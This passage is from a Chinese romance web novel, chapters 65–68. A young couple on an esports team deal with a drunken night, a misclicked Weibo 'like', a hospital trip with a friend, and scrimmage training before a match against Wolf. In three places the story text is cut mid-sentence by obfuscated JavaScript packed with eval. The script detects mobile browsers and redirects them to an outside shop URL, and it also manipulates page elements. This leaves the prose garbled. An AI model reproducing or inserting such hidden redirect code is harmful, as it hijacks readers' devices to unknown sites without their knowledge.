夏夜里树丛里响起窸窣的虫鸣,影子被树荫盖了又现,齐呈枫放慢步子,肩头平静的呼吸气流打在他的皮肤上,睡得朦胧路过喧嚣时,她总会沉头蹭一蹭又埋在其中。 忽而响起的电话铃声打断了这安谧的氛围,隔着包里的杂物声音响起来时闷闷的,齐呈枫往道路边靠,单手扶着宣依放了下来,揽着宣依让她靠在身上,另一只手从包里翻出手机。 没有备注,齐呈枫便直接划了接通。 等电话那头声音响起的那刻,齐呈枫有些庆幸自己接电话有让对面先开口的习惯。 “喂,依依,”电话那头的章文华在接通那一刻便开口道,“你下周回来吗?” 齐呈枫将手机往宣依面前凑了凑,但醉酒后的宣依对周围的动静一点感知力也没有,因为别扭的姿势反而往齐呈枫怀里又凑了些。 听着电话另一头窸窸窣窣的杂音,章文华又开口:“喂?依依?” 齐呈枫捏着手机,垂眸看着眼前这个醉得已经不省人事的女孩,无奈地先前探身靠近手机:“喂,阿姨。” “呈枫?” “嗯,”齐呈枫将手机递给这边这只手凑到了耳边,“宣依她刚喝了点酒有点不舒服,待会好点了我让她给你回电话吧。” “她喝酒了啊?”章文华语气充上几份急切,“呈枫你会煮醒酒汤吗?” 身侧的人睡沉了,手臂自然地环住了齐呈枫的身躯,齐呈枫跪下半边腿,让她靠得舒服些:“我没煮过,您教一下我可以吗?” “那你看一下附近有没有配送的,这么晚太麻烦了。” 这种事情无需评判麻烦与否,他只知道这种东西学上总比不会好,而且…… 宣依睫毛颤了颤,因来往疾驰的汽车扯着齐呈枫衣服想往耳边遮,但拉不动又作罢了。 齐呈枫看着身前人的动作,无奈地将揽着她的那只手盖上她的耳廓:“作为男朋友这都嫌麻烦的话,我也太不合格了。” “阿姨,醒酒汤需要点什么?” 两人简单几句交涉后,齐呈枫了然地将内容记在了心里,电话的最后齐呈枫忽而想起什么:“宣依之前也喝过酒吗?” “对啊,”章文华顿住挂断的动作讲起,“从学校回来结果一身酒气,咕噜着什么‘那就让她走’,我也没听懂,喝了醒酒汤之后就睡了,第二天问她什么也不记得了,连喝酒也忘了。” 章文华又感叹了几句宣依的懂事让她这份偶尔的叛逆变得更像一个真切的生命。 挂断电话后,关于章文华形容宣依的那些词汇还环绕在耳边,一个母亲对自己孩子的评价竟一个贬义也没有……齐呈枫抬手刮过她那蹭乱的头发,轻声感慨道:“太懂事了吗?依依,有我在你不用那么懂事了。” 轻抚的动作让她眉头皱了皱,但那份熟悉的气息又很快将脸上那份烦躁给压了过去,反而往他手的方向凑了下。 齐呈枫又扶着她将她背起。 - 在齐呈枫将宣依放在沙发离开后,夜色撒下的那片寂静里,熟悉的气息也一点点散去,酒气弥漫的晕沉里,宣依做了一场梦。 或说,她将这十八年的生活又重温了一遍。 一幕接着一幕。 等齐呈枫煮好醒酒汤回来准备叫她,眼前的一幕却让他呼唤的声音咽在了喉咙。 小小的她蜷缩在沙发的边缘,原本平躺有些勉强的沙发却在此刻显得宽阔,那盏台灯微弱的光芒落在她轻皱的眉间,手指还紧紧拽着靠枕的边缘,忧愁的模样却始终未睁眼逃脱。 齐呈枫心一颤,看着她眼角溺出一滴泪,就那样滑落到靠枕上,缓缓晕开染出一块泪迹。 她的手越拽越紧,梦里意识模糊的她只能无助地捏着靠枕寻求一份支撑。 齐呈枫将手掌附在了她攥紧的手上,他的一只手掌盖过她的一双手,指尖也随之扣住了她的手:“别难过,我在呢。” 见她眉头缓缓舒展,黑眸随着掀开的眼皮一点点看向自己的手,看向那股将她从梦魇中拉出来的温度,她的目光迟迟未挪动,像是陷入了梦的后遗症里。 眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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光亮落下,他回过身看向她,此刻梦里的一切消散,只有他真切站在眼前。 恍若一场海市蜃楼。 “我没想过有一天我也会娇气地问这个问题,”宣依带着笑意看向齐呈枫,“你为什么喜欢我啊?” 她想将这一切的怪异都推给那敏感的酒精上头,但也只有她自己最清楚,那杯酒不过是这场真心话的添加剂。 这个问题她很早就想问了。 齐呈枫总归是有一身傲娇的,可他却心甘情愿地等了自己这么多年,就连在一起了,也无微不至到生怕自己离开一般。 “那就说来话长了。” 齐呈枫也没想到他会有回答这个问题的一天,而他的答案与那些所谓的“情不由衷”不同,对于这个问题,在他那儿是有一个准确答案的。 未关实的窗户窜来阵阵晚风,屋里的燥热被吹散,齐呈枫攀上宣依的肩将她往沙发带,语重心长地讲起了那个宣依已经毫无印象的故事。 故事的最后,齐呈枫捏着宣依的掌心翻转。 手掌的伤痕终究是无法痊愈,落在拇指旁边一道不起眼的浅色落在那儿,不仔细看甚至无从察觉,就连宣依也没注意到,是在齐呈枫一点点的摩挲里她才看清那细微的颜色差别。 “就这点破事,你记这么多年?”宣依不可置信地看向齐呈枫,又慢半拍反应过来,“等等,那你岂不是喜欢了我差不多十年?” 思索着,宣依靠在了沙发上感叹着:“哇,你好有毅力,我俩这些年都没见过面吧,你还就这样干巴巴的喜欢了这么多年,” 说着说着,宣依莫名竖起了大拇指:“真牛逼。” 齐呈枫叹口气捏着宣依探出地拇指按了回去:“你也牛逼,这么有魅力,让我念念不忘。” 甚至还去学校兜圈想装个偶遇,结果隔了这么久才发现自己的行为像个笑话,连学校都搞错了。 “那我也回答你一个问题吧,”宣依声音沉下来,视野不知落在了哪儿,又好似并没什么焦点,“你不是问我为什么去了十九中嘛,因为便宜。” 齐呈枫愣住了。 宣依扭头看向意料之中的一幕,笑容轻松:“很奇怪的原因是吧,我现在也觉得,但当时我真的做了很多的权衡利弊,我觉得这是最合适我的选择,但是我不是觉得自己配不上好的,我只是觉得哪儿都一样。你看,我在十九中照样考了省六十三,我一点儿也不差劲,而且在CY的这两个月我也凑够了大学的生活费……” 但说着说着她的笑意还是沉了下去,别开脸继续道:“我没有不想和你说,但就像你听到这件事的第一反应一样,我知道你肯定不能理解,”她手指蜷在一起,自顾自地刮着指甲让自己显得漫不经心,“我害怕我们俩不是一个世界的,会因此分开。” 话到此刻,宣依才真切感受到了害怕失去的滋味。 她曾莫名其妙失去了父亲,连自己都还没来得及忧伤的时候因为各种议论声离开了家乡,那是“死别”的失去。她早早懂事独立的结果是什么都憋在心里,像个小大人一样不愿让母亲看穿自己,小小的她连撒娇的勇气都没有,这是“生离”的失去。 她懵懂地经历了一切,又在此刻具象化地理解了那些懵懂。 齐呈枫的手就在此刻,就在胡思乱想的念头膨胀蔓延的此刻附在了她欲盖弥彰的动作之上。 一滴泪顺着这股温度掉落,落在了他隆起的青筋上。 齐呈枫握着她的手,将她揽入怀中。 此刻的他才是真的对哄人一窍不通,只知道抱着,一点点收力让拥抱更真切。 良久的拥抱里,齐呈枫才开口:“从你加入CY那天起,我便永远属于你的阵营。” “但在更早之前,从我喜欢你的那刻开始,我就已经属于你了。” 66. 这是第六十六章 夜里十一点过,两人缠绵的吻从沙发到床铺,宣依跪坐着起身,喘着粗气低眸看他。 一片漆黑里,他欲望蓬勃的双眸却暴露在月色之下,但他并没有任何动作,始终处于下位,让宣依来决定吻的轻重缓和,看着宣依半直起了身子他也撑着手肘起身,却依旧被压在宣依之下。 “不亲了?” “他们回来了。”她的气息还不平稳,边说边抬腿移开了位置。 “宣依,你接吻都好不专心。”齐呈枫跟着坐起身,侧过身子去帮宣依理顺凌乱的头发。 不一会儿门被推开,挤进来了三个酒气熏天的人。 程舟夹在中间却是看起来最清醒的,他边抵着门边吼着身后悠哉的人:“凌一鸣!你倒是搭把手啊!” “你不说不让我碰小珠嘛?”凌一鸣抬脚抵住了门。 宣依见状上去揽住秦珠:“她也喝了很多?” “没有啊,”程舟身上也弥漫着浓厚的酒气,却还是保持着清醒晃手解释,“她拿饮料不小心拿到了瓶强爽,喝了两三口,就这样了。” 像是坚持这么久的清醒就为了亲口解释这件事,一段话不喘气地说完就仰头倒在了沙发里。 宣依抬起手肘抵了下齐呈枫:“醒酒汤啊。” 齐呈枫边盛着汤边感叹:“喝这么多,不怕明天被任姐训?” “秦珠聊嗨了就拉着程舟一块喝,”凌一鸣也只是胜在酒量上,他靠在沙发边缘扶着脑袋感叹,“程舟哪招架得住她的劝酒,诺,就喝成这样了。” 凌一鸣忽然坐直了身,扭头看向扶着秦珠喂醒酒汤的宣依,灯光打在她身上,在醉意朦胧里,秦珠扬着酒瓶说的话袭来。 忽而一碗汤随着生猛递来的动作晃动,险些洒掉。 “喝了酒,就专心眼前。” “不是,”凌一鸣摆摆手,“呈枫,我有话和你说。” “说,”齐呈枫对眼前的三个醉鬼没什么耐心,端着一个碗在程舟面前蹲下来,“喝了睡觉,明天还要训练。” “关于我们小辅助的。” 宣依也顺着这句话看向凌一鸣:“关于我?” “啊,”凌一鸣慢半拍反应过来当事人在现场,忙摆摆手,“不是你不是你,我们小辅助是……晨儿。” 两个清醒的人一高一低地对视上然后同时摆头,宣依看着身前几个酩酊的男人,有些不敢回忆她喝醉的时候做了些什么莫名其妙的事。 将最后一点汤喂完,宣依便杠着秦珠起身:“那剩下的交给你了,我先带她回去了。” 齐呈枫靠在了桌上看向醉意里保留一丝清醒的凌一鸣,抬脚踢了下他的小腿,将他的困意踢散:“说吧,什么事。” 就那种喝醉酒瞎扯的胡话,也就宣依被糊弄过去了,凌一鸣一个哆嗦里抬起头左探右探。 “走了,说吧。” 睡意和酒气里,他端起桌上的醒酒汤吹了两口喝下:“小辅助她之前喝酒很厉害的,你应该被蒙了。” “你们喝醉酒一个逼样,”齐呈枫在这没什么营养的聊天里摆摆头,转身将几个空碗叠起,低声感慨着,“我也是脑子不清醒,大半夜听你们一个个酒鬼讲故事。” “我说真的……”凌一鸣垂上昏昏欲睡的眼眸,嘴里还叽里咕噜地讲着,只是唯一的旁听者已经转身去了小厨房。 潺潺水流声在凌一鸣的故事里关掉,齐呈枫借着水槽里的清水洗着那几个碗,沉默地听着不远处投情讲述的往事——关于那虚假的酒量。 等他甩甩碗里的水回到沙发时,三个人已经歪歪倒倒靠在了一起。凌一鸣搭着魏晟的肩,手指划着弧度,嘴里的故事恰好近了尾声:“拜托,干了一件酒诶……” 他手指摇晃着往天花板指,数着一件酒有多少瓶:“十二瓶诶,闷的,你居然还不信她的酒量!” “真是被爱情迷昏了脑袋,女人三分醉演到……”凌一鸣感慨着睁开眼,眼前落下的却是齐呈枫低沉的身影。 他的话也随着齐呈枫低落的模样咽了回去,拍拍他的背:“怎么了?” “真傻。” - 深沉的夜里,上铺醉酒的倒是睡得沉,翻身的动作带着齐呈枫也一同侧过身,手掌摩挲着枕边的手机,本就聊胜于无的睡意在手机屏幕点亮的一瞬更是倾之。 凌晨两点过了。 齐呈枫划开手机,漫无目的地在各个APP间来回切换。 最后他点进了微博,顺着个人主页的近期常看点进了宣依的微博。 那是她的小世界,点赞着各种各样的内容,她向来不对外流露自己的喜怒哀乐,但大数据懂她,于是靠着首页里各类的点赞可以分析出她当时的心情。 刚准备翻阅时却刷新出了一条刚刚点赞的微博。 他看着屏幕中被赞的那条微博,停顿了良久最后跳转了应用。 - 半个小时前,宣依已经深陷于梦乡。 兴许是和齐呈枫缠绵的吻意犹未尽,以至于梦里延续了一场缱绻的荒唐,披上梦境的朦胧,一呼一吸被碾在他的身下。 杂乱的声响连通着梦里,用桌边的玻璃杯摇晃为这些响声找了合适的缘由。 再后来声响愈烈,秦珠的哑声呼唤再也没法被梦里的事物替换。 宣依朦朦胧胧地掀开眼,刺眼的灯光让她不适地抬手遮了遮。秦珠半蹲在她的床边揣着肚子,紧拧的眉头将难耐的不适毫不掩饰地表露出来。 她的手紧紧捏在宣依的床单上。 “怎么了?肚子不舒服?”宣依坐起身抬手撩开秦珠的刘海,也跟着拧眉。 秦珠呜咽了两声才腾出一丝空隙回答:“痛。” 宣依起身接了杯温水递给秦珠,在她旁边蹲下拿出手机打车:“忍一下啊,我们去医院看看。” “我记得这附近有家诊所,”秦珠一开始并没想打扰宣依,自己百度后已经喝了三杯水了,现在属实有点灌不下了,双手捧着水杯声音都发虚,“哦,现在应该关门了。” 这附近的诊所,不用细思都能对得上号,宣依想起那家诊所,敲下目的地的力道都重了一个度:“嗯,所以去医院。” 去医院的路上匆匆,等诊断出来开完药,宣依才松下心看着诊断证明,秦珠坐在一旁,手里捧着一杯吃药时接的温水。 “对不起啊依依。” “又没多大事,”宣依翻过另一张单子漫无目的地看着,“最近几天我让齐呈枫点几个清淡的菜,你要是明早还不舒服就和任姐请个假。” 秦珠一脸小孩模样,靠向了宣依,荡着小腿又抿了一口温水感叹:“那酒一点也不好喝,以后再也不喝了……” 宣依应和地“嗯”着,翻看的单子上面已经叠上了手机,刷着微博推荐。 忽而一条博让她翻看的动作顿了下来。 一条配文“今夜做梦素材”的微博带上了五六条性张力拉满的视频,宣依并没有点进详情观览,但第一个视频的画面已经播放结束接上了第二个视频。 因为忙碌的奔波而遗忘的梦在这条微博里又涌来一幅幅已经模糊的羞耻画面。 欲盖弥彰翻过的那刻却误触了点赞,匆匆取消后还好有那辆车的鸣笛声及时截住了她促上脸颊的温度。 在那条微博的后劲里,宣依甚至一碰手机就会联想到那些画面,索性一路上都没在碰手机。 秦珠刷了几条视频后,余光扫到宣依沉默的动作,便熄了手机胡乱扯了个话题:“那么难喝的酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482033|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依依你当初是怎么喝完一整件的啊?” “嗯?我小时候尝过一点酒,不好喝还是什么来着,我就没怎么喝过酒了,什么时候喝了一件酒?”宣依是真的对秦珠口中的事一点印象也没有。 漫长的车程里,秦珠充斥着疑惑跟宣依讲了当初的事,话到最后宣依也没印象。 就好似一幅偌大的拼图看起来已经拼凑完整,不仔细追寻根本察觉不到缺失,但秦珠此刻拿着这版拼图的一块碎片,让这份拼图更加完整。 但宣依并不在意这份拼图的完整与否,所以听完这段故事依旧像个局外人一般分析起来:“噢,所以从那天之后你就主动来找我,和我交朋友。” “对呀!”秦珠感慨,“你这么好,我当然要报答你,只是我也不知道怎么报答而已。” “怪不得我不记得我俩为什么玩到一块了。”宣依独自喃喃着,怪不得秦珠那样一个活泼得有些惹人烦的性子会愿意呆在她那样无趣的人身边。 “依依,要不是有你的成绩做担保我真怀疑你有健忘症,特严重那种,”秦珠聊起劲又顺着这个话题攀上了另外的事,“之前任学长过生日,他周三邀请你,你周五就忘了。” 宣依其实压根没想起来有这回事,但嘴上已经下意识地否认了:“我那不是不想去嘛。” “你……没想起来什么时候吧,”秦珠戳穿了这个离谱的借口,“你当时是在我面前忘了的,转头任哲文Q.Q问你有没有空你就回了有空,还带着我一起去了。” “你当时带我去的时候,我还觉得是任学长的坚持打动了你,你俩有可能会谈上呢,”秦珠回忆起当时的想法,现在依旧觉得合情合理,“毕竟你平时哪会去参加别人的生日,要不是后来在医务室看见他家长的另一面,我真觉得你俩特般配。” 宣依本来平淡的神色在最后一句话落下时扫了过来,明明也没什么情绪波澜,秦珠却迅速意识到了自己脱口的内容:“没有,我的意思是……” “我不喜欢他,”宣依收回了目光很平静地聊起自己的感受,“你说这些我确实没什么印象,但不喜欢就是不喜欢,总不可能因为忘记了一些细枝末节的事才突然意识到不喜欢。” 她说这些时,完全没想到接下来脱口的会是一个实际的例子:“就像我喜欢齐呈枫,虽然我俩之前大多数的事情我都不记得了,但是我确确实实喜欢他,那既然如此,从前的事便没那么重要了。” “那你为什么喜欢他啊?”秦珠对齐呈枫的敌意在今晚的烧烤摊已经淡去很多,但一个容貌张扬的富二代在她的潜意识里,就是带点渣男属性。 就在几个小时前,宣依也问过齐呈枫这个问题,但相对于他那样具体的事件,宣依一时没想起来这份喜欢从何开始。 似乎是发现他是栖枫的那个瞬间,又似乎是他在徐盛芬面前不加掩饰的维护……总之在提及这个问题的那刻,无数个有他的画面涌入脑海,应接不暇,甚至无从比较出哪段优胜。 于是她的回答也如这份情的悄无声息一般带着模棱两可:“因为心跳呼吸喜忧皆与他产生了连系。” 凌晨三点的街头一片冷清,秦珠还感慨着这抽象的表达,闲置在宣依手边的手机带着一声震动亮屏。 未眠的二人在点亮的手机屏里共振。 宣依此刻才看见她漏掉的消息,刚上车那会儿发了一条【7:睡了?】 虽然这句话没什么语气,但宣依就是能看出他的揣着答案问问题。 于是下面的几句也一并添上了同样深沉的质问语气。 【7:亲了我却在半夜偷摸看别的男人?】 【7:装?】 以及刚刚发来的那句【7:明天的借口是,喝醉了不清醒误触?】 67. 这是第六十七章 七点半,被调后的闹钟响起,宣依手凌乱地在枕头边摸着,眯着眼关了闹钟,弹出的锁屏页面上挂着一条未读消息。 宣依脑子一下清醒了,拉着枕头半坐起身划开手机。 她很清楚这条消息的来源,但看到联系人的一刻,呼吸还是跟着一沉。 光标还停留在输入栏里,昨晚指尖悬停在字母上的画面还历历在目,最后困意打败了理智,迷迷糊糊里只记得把闹钟往后推推。 以至于屏幕另一头持续良久的输入状态得到了凌晨四点的一句“在打小作文道歉呢?” 此刻的聊天页面挂着齐刷刷五句问号结尾的气泡。 宣依顿了很久,上铺有了翻身的动作,时间的后两位又往后跳动了一个数字,她才在两天框里输了句“早上好”。 发完就把手机丢回了床铺里,翻身起床。 帕子被冷水浸透,宣依看着镜子里自己耷拉下的浅浅一圈黑眼圈盘算起待会的计划。 昨晚齐呈枫睡得比她晚,大概率不会这么早起,洗漱完之后先去训练室,路上盘算一下怎么解释这件有点过于巧合的事。 宣依自顾自地点头认可了这个计划,关了水龙头拧干帕子,冰冷敷上脸颊的一刻也将她混沌的思维打开。 她只顾着屏幕里的消息了,可为什么齐呈枫凌晨三点还没睡觉? 向来不喜欢拐弯抹角的她,匆匆擦完脸后便拿起了手机。 那条消息还没得到回复, 他还没起。 思索着,宣依也想给齐呈枫买份早餐就像从前他那样。 这个想法诞生便得到了肯定,宣依随意套了件衣服,拍了拍秦珠:“我先走了,你如果待会不舒服就和任姐请个假。” 话落,她便捏着手机出了门。 边下楼梯,边垂头打着字。 【他们昨晚很晚才离开吗?为什么那么晚还没睡?】 消息发送的一刻,她已经转下楼梯最后一截台阶,下意识抬眼看了眼路,余光也闯入一个熟悉的身影。 她还没来得及反应这份熟悉,抬起的眼眸已经将站在门边的人给框在了视线里。 他左手提着一袋打包的粥和一些看不清的早点,左手在与宣依对上目光的一刻在空中晃了晃。 阳光还半隐半现于云层间,空气却已被盛暑的气温填满,明明上一刻还在担忧的人此刻却精神盎然地望着自己。 一朵纯白的茉莉花随着那晃荡的指尖绽放开,与他一身素淡的宽松白T相衬,一手夹着茉莉另一只手抬高了一袋子的早点:“早餐,鲜花,惊喜以及你的男朋友。” 他偏过脑袋,薄唇撵着笑意。 宣依快步下了最后几级台阶,抬手从他指尖摘下那朵茉莉:“齐呈枫你怎么这么好?” 听到夸赞,齐呈枫笑得更灿烂了些,刚准备开口,下半句就将他的话连带笑容一同憋了回去。 “连我看男人你都主动求和。” 他的笑容敛了回去,宣依反倒笑得明媚了。 “宣依。” 那样冷淡的语气对宣依却毫无震慑力,只是收敛了笑意抿着唇抬眸看向齐呈枫:“嗯,我在。” 齐呈枫叹了口气,问话时连语气也伴着她稚嫩无邪的笑意软了下去:“为什么昨晚那么晚还没睡?” 宣依挽上齐呈枫的手臂,将他往前带:“秦珠昨晚急性肠胃炎,我陪她去了医院,那个微博的点赞纯属手误,大半夜也不知道为什么给我推些……” 说着说着,宣依猛然想起这其中还差了一个环节:“不对啊,你怎么知道我微博号的?” “你关注我了啊,”这句解释信口拈来,“那么明显的头像和名字。” 宣依平时没怎么管自己的微博,全当娱乐软件刷刷讯息了,这句话落在她耳中,她便沉默了下来,低头翻看自己的微博头像长啥样。 一张来自秦珠拍的侧脸照片,她虽然看上去稚嫩清纯,给人的第一印象总是张娃娃脸,可细细品味过她长相后又有别一番风味,流畅的下颚线清晰紧致,正脸的钝感却在侧脸被一条条刚毅的线条掩盖。 穿着白色校服撑在走廊栏杆上,背景的虚化里还有一两束投向她的目光。 比起一系列温婉的形象,宣依确实很喜欢这张照片,想分享却有带着各样别扭心理的她将这张照片设置成了微博头像,却未料在一众的关注者里被齐呈枫抓获。 她抬手要改头像,齐呈枫抬手捏住了她的手:“换什么?你男朋友很喜欢。” 他单手开了手机,将自己的手机页面露给她看。 一众APP平铺在那张背影壁纸里,右下角留出一块空荡的地方挂着这张照片,随着他翻阅重新返回的动作又换了一张小时候几个小孩簇在一起的合照,就这两张照片在宣依眼前来回交替了两次。 “你……” 齐呈枫收回手机:“人生来就应该看遍世间美好事物,今天花店的茉莉很新鲜所以我想赠你。” 他抬手欲要附上宣依的脑袋,看着她今天的发型手掌悬在半空犹豫了分秒后移揉了下她的后脑勺便收回了手,语调轻松淡然:“你灿烂的笑容也一样,美好而值得收藏。” 宣依被夸赞得有些不自在,歪着脑袋小声嘀咕:“肉麻。” 她的手还挽着齐呈枫,自然地和他走在人行道靠内,说说笑笑地走着。 一切美好随着这支茉莉发散的清香萦绕。 曾几何时专注眼前路的宣依也悠哉望向了远方的高楼,天边的云彩。 她想, 齐呈枫说得对,人都是喜欢美好的事物的,不能因为要走的路坎坷不堪,而忽略了沿途的风景。 取悦自己最重要。 - 因为下午要和Wolf进行友谊赛,上午便又对前天的比赛进行了复盘。 “他们专攻一路的打法还是很明显,下午要试一下换路的打法吗?” 宣依盘算了一下和Wolf还有几场比赛,点头:“可以,但不用表现太明显,只上下换就行。” “那如果这场他们准备侧重打中路呢?”凌一鸣有些担忧,上次的四场比赛有两场都是以中路作为突破口的。 “那就认栽咯,”程舟笑着捏起遥控器暂停了投影仪的画面,“总比一场友谊赛一无所获好。” “看再多不如实战,来打两场。” “昨晚喝酒给你喝亢奋了?”齐呈枫乜了眼他,“你第四场中路怎么丢的,忘了?” 与Wolf的第四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533571|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场,前六分钟都稳扎稳打,在第三场的胜负局势下,Wolf的攻势收敛了些,而本来可以拉扯的局面,程舟先坐不住阵往塔下压了对面中单,结果被打野切了。 于是中塔没了。 但宣依没有打野视野,他上的时候也没及时制止,以至于这场比赛的最后,于是宣依将这场失败的大部分责任都揽到了自己身上。 而投影仪的画面此刻正巧暂停在这个节骨眼上,宣依看着屏幕里自己的位置,下路射手在拿了河蟹后直接压了过来,自己拦在齐呈枫前面往塔下撤。 二打一的局势,两人都选择撤退,程舟一个和对面中路齐平的局势是怎么敢主动打破僵局的? 宣依思索起来没再揽责,只是淡淡地补充:“这场比赛也就十几分钟,看完再实战也够打三场。” 播放键被按下,画面再次流动。几人逐帧复盘分析起这场对局。 复盘结束休整了十来分钟后,几人便入座套上了耳机。 “你昨晚熬夜,眼睛能受得了嘛?”齐呈枫套耳机前敲了眼宣依。 宣依戴上耳机别了下被耳机压乱的刘海,摇头。 兴许是怕宣依隐瞒,游戏过程中齐呈枫总在拉着摇杆走路时偏头瞧她的状态。 直到不记得第几次,两人一同回城回状态然后往下拉操纵杆,齐呈枫的角色在高地墙上蹭了一下才往前走,宣依便忍无可忍地说:“你别对我用二技能。” 齐呈枫这把用的伽罗,有点没反应过来。 “枫哥,你做什么了,给依姐干沉默了。”魏晟脑子倒是反应得快。 齐呈枫哑言,收敛了视线,目光专注追随这屏幕里的画面。 不知道是不是因为和副队打的比赛太多了,以至于和他们打起来,任何的策略打法都会被看穿。 不仅是他们看穿副队,也是副队看穿他们。 从最开始十来分钟的正常游戏,到现在顺风局可以被拖到二十几分钟,连硬拆的机会也拦截得死死的。 “我们也得做出调整,”宣依皱眉随着被清掉的兵线撤退,“这种打法除非在意识和操作上吃优势,很难打。” 这是第二场实训,但两把游戏却拖到了平时三把的时间点,敌方尚且完善的三座高地,再打五分钟都有可能。 凌一鸣拉着摇杆,眉头紧皱,昨晚的酒导致他没睡得到的安稳觉在此刻爆发:“依姐我受不了了,下波兵线你们往下路带,我上路直接一波推了。” 凌一鸣开口:“就俩高地的距离……” “没事,他能推一座高地就不亏。” “推不掉也没什么损失。” 齐呈枫在中路断了兵线,和宣依埋伏在了蓝buff边的草丛。 伺机而动将断线的中单给切了。 五打四的局面,凌一鸣紧随其后将下路线清掉,几人往下路汇合。 魏晟便看着两支兵线汇上,拉着视野看下路的情况,抬手拉着技能将兵线清掉。 程舟的控制打在了站位集中的三人身上,高地顺着这个控制开了一波团战。 混战里,程舟将一套技能的伤害打完后便开始点塔,而魏晟也带着上路兵线到了高地。 持续23分钟的游戏终于接近了尾声。 68. 这是第六十八章 凌一鸣摘下耳机,抬手示意对座的副队几人:“先复盘一下刚才两场。” 副队有两个还是新人,配合和一些操作都比较青涩,但这么多场对局,他们却很快地融入了这支队伍,能够迅速拿出默契的配合。 任宙选人的眼光一向毒辣,经她筛选的这支副队甚至比一些首发队成熟。 宣依在这些日子的训练里也意识到了这一点,她抬脚走向副队的桌边,垂眸看着新来的那位辅助:“你好,我想问一下刚才高地那一波你为什么没上?” 那波被程舟一控三的高地团战,只有辅助转头往另一座防御塔去了,只是她的一己之力只是堪堪清掉前排的一个兵线,又因另一边的团战,左右为难。 新来的这个辅助性格同刚加入CY的宣依很像,有着一身孤傲不可靠近的疏离,他抬眸看向宣依,语气很平淡地说:“我有名字,我叫季方时。” 就这一句简单的介绍,宣依却看到了这人隐匿在谦和外表下的刚毅。 “被我们压了那么久的节奏,只是没了个中单就开团,这不符合你们平时的习惯,”季方时语气很平淡,“我和他们说了,射手清下路兵线就行,其他人守上路,他们没人听。” 他初来乍到,表现并不突出,也很少主动和他们进行沟通,以至于众人并没发现副队里有这么一位意识独到却被忽略的人物。 宣依半靠在桌边,曲着膝盖挑眉看向面前的墙壁:“你的意思是……” “我没什么特别的意思,”季方时笑着站起身,让宣依的目光又朝向他抬起,“只是很羡慕同样作为辅助,你却有群信赖你的队友,这支团队哪哪都好,唯一的缺点就是人人都想出头,以至于锋芒过露,这并不是件好事。” 他话落,并没在宣依身上留下过多目光,单脚后抵开椅子,向沙发处已经汇合的一行人走去。 两方站在各自的视角观看着比赛,以上帝视角会看到很多当局者的很多迷惑行为,两支队伍叹出不一样的气息:“如果这一波我们晚一点点上就好了,不至于打这么久。” …… 复盘很快也收了尾,几个人组织着再打一局,任宙看了眼时间:“别那么紧张,休息一会儿吧,Wolf下午还有个商业活动,不会来得很早。” 纵是十九二十的少年,一腔热血孤注一掷,也会有疲惫的一面,得到任宙这句话后几个人纷纷放松地靠在了沙发里。 宣依起身走到一边看看下一场LGO的比赛,齐呈枫便和她一同坐到了角落的矮凳上:“这么努力,难怪是市六十三。” 没想到那么一句轻描淡写的叙述被他记得这么深刻,宣依笑着横过屏幕来边播放视频边跟齐呈枫谈话:“刚才我和那个辅助聊了两句,下午的训练我其实想两支队伍的队员换一换。” “可以呀,”齐呈枫的手搭在宣依膝盖上,轻点着,认真聆听着她讲想法,然后站出来支持,“和不同人配合更容易发现自己打法上的漏洞,待会我去和任姐沟通一下。” - 很顺利,下午的训练是由任宙来说出这个安排的,为了公平选择了抓阄的方式来决定队伍,抓到相同数字的人为一队。 宣依主动去前台拿废纸,捏着笔随意写了两组数字揉在了一起。 几只手齐刷刷朝着桌上的纸团伸手,宣依安静地立在旁边看着一只只手捏到一个纸团后撤回,她目光落在其中一个纸团上,抬手也拿了桌上剩下的几个纸团之一。 双方又调换了撞上的位置,最后凌一鸣和宣依与副队另外三人组成了一支队伍。 宣依这边的指挥是凌一鸣,而另一边你一言我一语,比赛打了许久才因齐呈枫河道的一波三杀静了下来:“别吵了,廉颇你来指挥。” 季方时拉着摇杆护到了齐呈枫身旁:“季方时。” “什么?”齐呈枫回城回状态。 “没事,谢了。”季方时顺手拉住地图看位置,“打野在红区,上路小心。” “好。”魏晟闻言往后拉扯了兵线。 三两个人的交换却大大拉长了整场比赛的时间。 Wolf在任宙的带领下悄无声息走进训练室,看着中央屏幕里的上帝视角,安静地靠在门边观看起来。 兴许是“黑马”的称呼将初出茅庐的他们抬得太高,以至于与Wolf的比赛是很多人所期待的,却又让他们大失所望,但屏幕里的画面却勾起了他们的兴趣。 魏晟往后拉扯兵线,让凌一鸣的技能无从落点,最后只是清掉了线:“经济落后了,辅助跟我去对面刷经济,射手打自家野区,小心被蹲。” 几个人的身影在峡谷里晃动,凌一鸣占着一波优势连推掉下路两座塔。 “你们要替换首发队?”Wolf的一名成员问道。 任宙也投入在画面之中,因战况蹙眉:“没有,这是他们自己想的训练方式。” 在齐呈枫来和她讲这个想法时,是被一口否定了的,毕竟他们并没有那么多的时间来磨合,可齐呈枫的一句话却让她犹豫了。 